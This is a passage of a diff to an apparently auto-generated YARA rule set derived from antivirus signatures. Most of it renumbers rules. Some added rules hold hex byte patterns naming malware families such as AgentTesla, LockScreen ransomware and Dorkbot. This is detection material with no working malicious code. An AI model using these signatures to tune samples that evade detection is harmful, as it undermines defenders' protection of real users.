01 00 01 00 21 " @@ -27638,7 +28006,7 @@ rule _InfrastructureShared_2668{ ((#a_6c_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2669{ +rule _InfrastructureShared_2703{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -27648,7 +28016,7 @@ rule _InfrastructureShared_2669{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2670{ +rule _InfrastructureShared_2704{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -27658,7 +28026,7 @@ rule _InfrastructureShared_2670{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2671{ +rule _InfrastructureShared_2705{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -27668,7 +28036,7 @@ rule _InfrastructureShared_2671{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2672{ +rule _InfrastructureShared_2706{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -27678,7 +28046,7 @@ rule _InfrastructureShared_2672{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2673{ +rule _InfrastructureShared_2707{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -27688,7 +28056,7 @@ rule _InfrastructureShared_2673{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2674{ +rule _InfrastructureShared_2708{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -27698,7 +28066,7 @@ rule _InfrastructureShared_2674{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2675{ +rule _InfrastructureShared_2709{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -27708,7 +28076,7 @@ rule _InfrastructureShared_2675{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2676{ +rule _InfrastructureShared_2710{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -27718,7 +28086,7 @@ rule _InfrastructureShared_2676{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2677{ +rule _InfrastructureShared_2711{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -27728,7 +28096,7 @@ rule _InfrastructureShared_2677{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2678{ +rule _InfrastructureShared_2712{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -27738,7 +28106,7 @@ rule _InfrastructureShared_2678{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2679{ +rule _InfrastructureShared_2713{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -27748,7 +28116,7 @@ rule _InfrastructureShared_2679{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2680{ +rule _InfrastructureShared_2714{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -27758,7 +28126,7 @@ rule _InfrastructureShared_2680{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2681{ +rule _InfrastructureShared_2715{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -27768,7 +28136,7 @@ rule _InfrastructureShared_2681{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2682{ +rule _InfrastructureShared_2716{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -27778,7 +28146,7 @@ rule _InfrastructureShared_2682{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2683{ +rule _InfrastructureShared_2717{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -27788,7 +28156,7 @@ rule _InfrastructureShared_2683{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2684{ +rule _InfrastructureShared_2718{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -27798,7 +28166,7 @@ rule _InfrastructureShared_2684{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2685{ +rule _InfrastructureShared_2719{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -27808,7 +28176,7 @@ rule _InfrastructureShared_2685{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2686{ +rule _InfrastructureShared_2720{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -27818,7 +28186,7 @@ rule _InfrastructureShared_2686{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2687{ +rule _InfrastructureShared_2721{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -27828,7 +28196,7 @@ rule _InfrastructureShared_2687{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2688{ +rule _InfrastructureShared_2722{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -27838,7 +28206,7 @@ rule _InfrastructureShared_2688{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2689{ +rule _InfrastructureShared_2723{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -27848,7 +28216,7 @@ rule _InfrastructureShared_2689{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2690{ +rule _InfrastructureShared_2724{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -27858,7 +28226,7 @@ rule _InfrastructureShared_2690{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2691{ +rule _InfrastructureShared_2725{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -27868,7 +28236,7 @@ rule _InfrastructureShared_2691{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2692{ +rule _InfrastructureShared_2726{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -27878,7 +28246,7 @@ rule _InfrastructureShared_2692{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2693{ +rule _InfrastructureShared_2727{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -27888,7 +28256,7 @@ rule _InfrastructureShared_2693{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2694{ +rule _InfrastructureShared_2728{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -27898,7 +28266,7 @@ rule _InfrastructureShared_2694{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2695{ +rule _InfrastructureShared_2729{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -27908,7 +28276,7 @@ rule _InfrastructureShared_2695{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2696{ +rule _InfrastructureShared_2730{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -27918,7 +28286,7 @@ rule _InfrastructureShared_2696{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2697{ +rule _InfrastructureShared_2731{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -27928,7 +28296,7 @@ rule _InfrastructureShared_2697{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2698{ +rule _InfrastructureShared_2732{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -27938,7 +28306,7 @@ rule _InfrastructureShared_2698{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2699{ +rule _InfrastructureShared_2733{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -27948,7 +28316,7 @@ rule _InfrastructureShared_2699{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2700{ +rule _InfrastructureShared_2734{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -27958,7 +28326,7 @@ rule _InfrastructureShared_2700{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2701{ +rule _InfrastructureShared_2735{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -27968,7 +28336,7 @@ rule _InfrastructureShared_2701{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2702{ +rule _InfrastructureShared_2736{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -27978,7 +28346,7 @@ rule _InfrastructureShared_2702{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2703{ +rule _InfrastructureShared_2737{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -27988,7 +28356,7 @@ rule _InfrastructureShared_2703{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2704{ +rule _InfrastructureShared_2738{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -27998,7 +28366,7 @@ rule _InfrastructureShared_2704{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2705{ +rule _InfrastructureShared_2739{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28008,7 +28376,7 @@ rule _InfrastructureShared_2705{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2706{ +rule _InfrastructureShared_2740{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28018,7 +28386,7 @@ rule _InfrastructureShared_2706{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2707{ +rule _InfrastructureShared_2741{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28028,7 +28396,7 @@ rule _InfrastructureShared_2707{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2708{ +rule _InfrastructureShared_2742{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28038,7 +28406,7 @@ rule _InfrastructureShared_2708{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2709{ +rule _InfrastructureShared_2743{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28048,7 +28416,7 @@ rule _InfrastructureShared_2709{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2710{ +rule _InfrastructureShared_2744{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28058,7 +28426,7 @@ rule _InfrastructureShared_2710{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2711{ +rule _InfrastructureShared_2745{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28068,7 +28436,7 @@ rule _InfrastructureShared_2711{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2712{ +rule _InfrastructureShared_2746{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28078,7 +28446,7 @@ rule _InfrastructureShared_2712{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2713{ +rule _InfrastructureShared_2747{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28088,7 +28456,7 @@ rule _InfrastructureShared_2713{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2714{ +rule _InfrastructureShared_2748{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28098,7 +28466,7 @@ rule _InfrastructureShared_2714{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2715{ +rule _InfrastructureShared_2749{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28108,7 +28476,7 @@ rule _InfrastructureShared_2715{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2716{ +rule _InfrastructureShared_2750{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28118,7 +28486,7 @@ rule _InfrastructureShared_2716{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2717{ +rule _InfrastructureShared_2751{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28128,7 +28496,7 @@ rule _InfrastructureShared_2717{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2718{ +rule _InfrastructureShared_2752{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28138,7 +28506,7 @@ rule _InfrastructureShared_2718{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2719{ +rule _InfrastructureShared_2753{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28148,7 +28516,7 @@ rule _InfrastructureShared_2719{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2720{ +rule _InfrastructureShared_2754{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28158,7 +28526,7 @@ rule _InfrastructureShared_2720{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2721{ +rule _InfrastructureShared_2755{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28168,7 +28536,7 @@ rule _InfrastructureShared_2721{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2722{ +rule _InfrastructureShared_2756{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28178,7 +28546,7 @@ rule _InfrastructureShared_2722{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_2723{ +rule _InfrastructureShared_2757{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28188,7 +28556,17 @@ rule _InfrastructureShared_2723{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_2724{ +rule _InfrastructureShared_2758{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 42 51 21 4d 54 42 00 01 00 14 01 01 25 47 07 11 07 91 06 1a 58 4a 61 d2 61 d2 52 07 11 07 8f 00 00 78 44 00 00 01 00 01 00 01 00 21 23 54 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_2759{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28198,7 +28576,27 @@ rule _InfrastructureShared_2724{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_2725{ +rule _InfrastructureShared_2760{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 5a 75 73 79 2e 41 48 21 4d 54 42 00 01 00 1a 01 01 0d 07 02 1f 0f 02 8e 69 1f 0f 59 09 16 6f 9c 00 00 0a 13 04 07 09 11 04 6f 00 00 78 44 00 00 01 00 01 00 01 00 21 23 54 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_2761{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 7a 79 2e 41 4e 21 4d 54 42 00 01 00 19 01 41 83 f2 ff 45 21 da 44 89 ca 44 21 d2 45 31 d1 44 09 ca 45 89 c1 41 81 f1 00 00 78 44 00 00 01 00 01 00 01 00 21 23 54 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_2762{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28208,7 +28606,7 @@ rule _InfrastructureShared_2725{ ((#a_6f_0 & 1)*21539) >=1 } -rule _InfrastructureShared_2726{ +rule _InfrastructureShared_2763{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28218,7 +28616,7 @@ rule _InfrastructureShared_2726{ ((#a_6f_0 & 1)*21539) >=1 } -rule _InfrastructureShared_2727{ +rule _InfrastructureShared_2764{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28228,7 +28626,7 @@ rule _InfrastructureShared_2727{ ((#a_6f_0 & 1)*21539) >=1 } -rule _InfrastructureShared_2728{ +rule _InfrastructureShared_2765{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28238,7 +28636,7 @@ rule _InfrastructureShared_2728{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_2729{ +rule _InfrastructureShared_2766{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -28248,7 +28646,7 @@ rule _InfrastructureShared_2729{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_2730{ +rule _InfrastructureShared_2767{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -28259,7 +28657,7 @@ rule _InfrastructureShared_2730{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*24399) >=1 } -rule _InfrastructureShared_2731{ +rule _InfrastructureShared_2768{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -28270,7 +28668,7 @@ rule _InfrastructureShared_2731{ ((#a_54_0 & 1)*18467+(#a_41_1 & 1)*12851) >=1 } -rule _InfrastructureShared_2732{ +rule _InfrastructureShared_2769{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -28280,7 +28678,7 @@ rule _InfrastructureShared_2732{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_2733{ +rule _InfrastructureShared_2770{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -28290,7 +28688,7 @@ rule _InfrastructureShared_2733{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_2734{ +rule _InfrastructureShared_2771{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -28301,7 +28699,7 @@ rule _InfrastructureShared_2734{ ((#a_46_0 & 1)*16675+(#a_54_1 & 1)*28261) >=2 } -rule _InfrastructureShared_2735{ +rule _InfrastructureShared_2772{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -28312,7 +28710,7 @@ rule _InfrastructureShared_2735{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*384) >=2 } -rule _InfrastructureShared_2736{ +rule _InfrastructureShared_2773{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -28323,7 +28721,7 @@ rule _InfrastructureShared_2736{ ((#a_54_0 & 1)*18467+(#a_43_1 & 1)*12851) >=2 } -rule _InfrastructureShared_2737{ +rule _InfrastructureShared_2774{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -28334,64 +28732,73 @@ rule _InfrastructureShared_2737{ ((#a_54_0 & 1)*18467+(#a_4e_1 & 1)*27751) >=2 } -rule _InfrastructureShared_2738{ +rule _InfrastructureShared_2775{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 58 44 6f 6e 67 6c 65 4e 65 74 00 01 00 10 01 4f 2d 4b 65 79 20 44 6f 6e 67 6c 65 7c 4f 42 54 01 00 0c 01 58 4e 65 74 20 53 65 72 76 65 72 00 00 00 78 44 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 52 61 6e 73 6f 6d 3a 4d 53 49 4c } //18467 - $a_63_1 = {53 63 72 65 65 6e 00 01 00 0a 01 6d 73 6c 6f 63 6b 2e 65 78 65 01 00 0d 01 53 75 72 76 65 79 20 4c 6f 63 6b 65 72 00 00 78 44 00 00 03 00 03 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 61 6b 65 41 56 2e 4e 41 21 4d 54 42 00 02 00 09 01 8b 45 d8 21 45 f4 81 45 dc 01 00 0a 01 8b 45 f0 31 45 f4 8b 45 0c 21 00 } //19503 + $a_63_1 = {53 63 72 65 65 6e 00 01 00 0a 01 6d 73 6c 6f 63 6b 2e 65 78 65 01 00 0d 01 53 75 72 76 65 79 20 4c 6f 63 6b 65 72 00 00 78 44 00 00 03 00 03 00 01 00 21 23 41 4c 46 3a 57 6f 72 6d 3a 57 69 6e 33 32 2f 44 6f 72 6b 62 6f 74 2e 45 4e 42 21 4d 54 42 00 03 00 17 01 03 df 81 e3 ff 00 00 00 0f b6 9c 9d 00 fc ff ff 30 1c 01 41 3b 4d 10 00 } //19503 condition: ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*19503) >=2 } -rule _InfrastructureShared_2739{ +rule _InfrastructureShared_2776{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " strings : - $a_4c_0 = {52 61 6e 73 6f 6d 3a 4d 53 49 4c 2f 4c 6f 63 6b 53 63 72 65 65 6e 00 01 00 0a 01 6d 73 6c 6f 63 6b 2e 65 78 65 01 00 0d 01 53 75 72 76 65 79 20 4c 6f 63 6b 65 72 00 00 78 44 00 00 03 00 03 00 02 00 21 23 41 } //21539 - $a_54_1 = {6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 61 6b 65 41 56 2e 4e 41 21 4d 54 42 00 02 00 09 01 8b 45 d8 21 45 f4 81 45 dc 01 00 0a 01 8b 45 f0 31 45 f4 8b 45 0c 21 00 00 78 44 00 00 } //17996 + $a_4c_0 = {52 61 6e 73 6f 6d 3a 4d 53 49 4c 2f 4c 6f 63 6b 53 63 72 65 65 6e 00 01 00 0a 01 6d 73 6c 6f 63 6b 2e 65 78 65 01 00 0d 01 53 75 72 76 65 79 20 4c 6f 63 6b 65 72 00 00 78 44 00 00 03 00 03 00 01 00 21 23 41 } //21539 + $a_57_1 = {72 6d 3a 57 69 6e 33 32 2f 44 6f 72 6b 62 6f 74 2e 45 4e 42 21 4d 54 42 00 03 00 17 01 03 df 81 e3 ff 00 00 00 0f b6 9c 9d 00 fc ff ff 30 1c 01 41 3b 4d 10 00 00 78 44 00 00 } //17996 condition: - ((#a_4c_0 & 1)*21539+(#a_54_1 & 1)*17996) >=2 + ((#a_4c_0 & 1)*21539+(#a_57_1 & 1)*17996) >=2 } -rule _InfrastructureShared_2740{ +rule _InfrastructureShared_2777{ meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 01 00 21 " strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 61 6b 65 41 56 2e 4e 41 21 4d 54 42 00 02 00 09 01 8b 45 d8 21 45 f4 81 45 dc 01 00 0a 01 8b 45 f0 31 45 f4 8b 45 0c 21 00 00 78 44 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 41 75 74 } //16675 - $a_74_1 = {4d 73 69 6c 5f 39 38 30 32 39 42 35 45 00 01 00 07 01 76 65 72 2e 65 78 65 01 00 06 01 76 65 72 2e 65 78 01 00 06 01 73 65 41 6c 6c 52 00 00 78 44 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 41 75 74 6f 41 74 74 72 4d 73 69 6c 5f 45 41 38 30 41 30 33 33 00 01 00 07 01 64 65 72 2e 65 78 65 01 00 06 01 6e 64 65 72 2e 65 01 00 06 01 66 65 6e 64 65 } //16751 + $a_46_0 = {57 6f 72 6d 3a 57 69 6e 33 32 2f 44 6f 72 6b 62 6f 74 2e 45 4e 42 21 4d 54 42 00 03 00 17 01 03 df 81 e3 ff 00 00 00 0f b6 9c 9d 00 fc ff ff 30 1c 01 41 3b 4d 10 00 00 78 44 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 41 75 74 } //16675 condition: - ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*16751) >=3 + ((#a_46_0 & 1)*16675) >=3 } -rule _InfrastructureShared_2741{ +rule _InfrastructureShared_2778{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_54_0 = {3a 41 75 74 6f 41 74 74 72 4d 73 69 6c 5f 39 38 30 32 39 42 35 45 00 01 00 07 01 76 65 72 2e 65 78 65 01 00 06 01 76 65 72 2e 65 78 01 00 06 01 73 65 41 6c 6c 52 00 00 78 44 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 41 75 74 6f 41 74 74 72 4d 73 } //18467 - $a_45_1 = {38 30 41 30 33 33 00 01 00 07 01 64 65 72 2e 65 78 65 01 00 06 01 6e 64 65 72 2e 65 01 00 06 01 66 65 6e 64 65 72 00 00 78 44 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 74 61 63 6b 6e 53 65 6e 64 43 53 2e 67 65 6e 21 64 68 61 00 05 00 10 01 64 } //27753 - $a_1e_2 = {68 4a a6 88 72 d0 ec 84 07 46 00 00 78 44 00 00 0a 00 0a 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 6e 6a 52 41 54 2e 4e 45 21 4d 54 42 00 0a 00 19 03 5d 93 61 d1 9d 1f 0c 13 09 38 90 01 01 ff ff ff 17 11 08 58 13 08 1a 90 00 00 00 78 44 00 00 0a 00 0a 00 01 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4b 61 7a 75 61 72 2e 43 21 } //-4059 + $a_45_1 = {38 30 41 30 33 33 00 01 00 07 01 64 65 72 2e 65 78 65 01 00 06 01 6e 64 65 72 2e 65 01 00 06 01 66 65 6e 64 65 72 00 00 78 44 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 43 2e 45 41 4e 42 21 4d 54 42 00 05 00 15 01 01 db 29 de 33 b4 } //27753 + $a_00_2 = {00 89 b4 01 84 13 00 00 83 c0 04 00 00 78 44 } //-2047 condition: - ((#a_54_0 & 1)*18467+(#a_45_1 & 1)*27753+(#a_1e_2 & 1)*-4059) >=3 + ((#a_54_0 & 1)*18467+(#a_45_1 & 1)*27753+(#a_00_2 & 1)*-2047) >=3 } -rule _InfrastructureShared_2742{ +rule _InfrastructureShared_2779{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_54_0 = {3a 41 75 74 6f 41 74 74 72 4d 73 69 6c 5f 45 41 38 30 41 30 33 33 00 01 00 07 01 64 65 72 2e 65 78 65 01 00 06 01 6e 64 65 72 2e 65 01 00 06 01 66 65 6e 64 65 72 00 00 78 44 